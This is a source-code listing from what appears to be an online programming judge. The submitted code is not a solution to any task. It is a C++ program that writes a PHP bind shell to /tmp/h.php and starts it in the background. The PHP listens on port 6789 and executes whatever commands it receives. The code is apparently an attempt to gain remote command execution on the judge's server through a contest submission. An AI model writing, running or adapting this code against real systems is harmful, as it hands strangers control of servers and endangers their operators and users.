Pagini recente » Cod sursa (job #1082742) | Cod sursa (job #1701451) | Cod sursa (job #2887722) | Cod sursa (job #2984687) | Cod sursa (job #1849903)
#include <fstream>
#include <stdlib.h>
#include <iostream>
#include <stdexcept>
#include <string>
using namespace std;
char payload[]="<?php set_time_limit (0); $address = '0.0.0.0'; $port = 6789; $sock = socket_create(AF_INET, SOCK_STREAM, 0); socket_bind($sock, 0, $port) or die('Could not bind to address'); socket_listen($sock); while (true) { $client = socket_accept($sock); $input = socket_read($client, 1024000); $response=exec($input); socket_write($client, $response); socket_close($client); } socket_close($sock); ?>";
int main()
{
ofstream fout("/tmp/h.php");
fout<<payload;
fout.close();
int x=system("php /tmp/h.php &");
return 0;
}